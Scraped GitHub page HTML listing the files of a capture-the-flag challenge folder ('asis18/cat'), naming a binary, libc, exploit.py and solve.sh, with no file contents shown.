0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/giosch/CTF-stuff/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":131639685,"originating_url":"https://github.com/giosch/CTF-stuff/tree/master/asis18/cat","user_id":null}}" data-hydro-click-hmac="52fb6e746987087aa44b51f6584f1ba7800102841fb247f4a6260c9cf1484f96"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/giosch/CTF-stuff/refs" cache-key="v0:1525117769.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z2lvc2NoL0NURi1zdHVmZg==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/giosch/CTF-stuff/refs" cache-key="v0:1525117769.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z2lvc2NoL0NURi1zdHVmZg==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-stuff</span></span></span><span>/</span><span><span>asis18</span></span><span>/</span>cat<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-stuff</span></span></span><span>/</span><span><span>asis18</span></span><span>/</span>cat<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/giosch/CTF-stuff/tree-commit/1d9b9240c520062bd77097d4389ae5618fe1d81c/asis18/cat" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/giosch/CTF-stuff/file-list/master/asis18/cat"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cat</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cat_cec50f466d4c568b06e0bf827b1889393e564b2676331b3bb5553b72f6a8ca62</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>info</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.sh</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 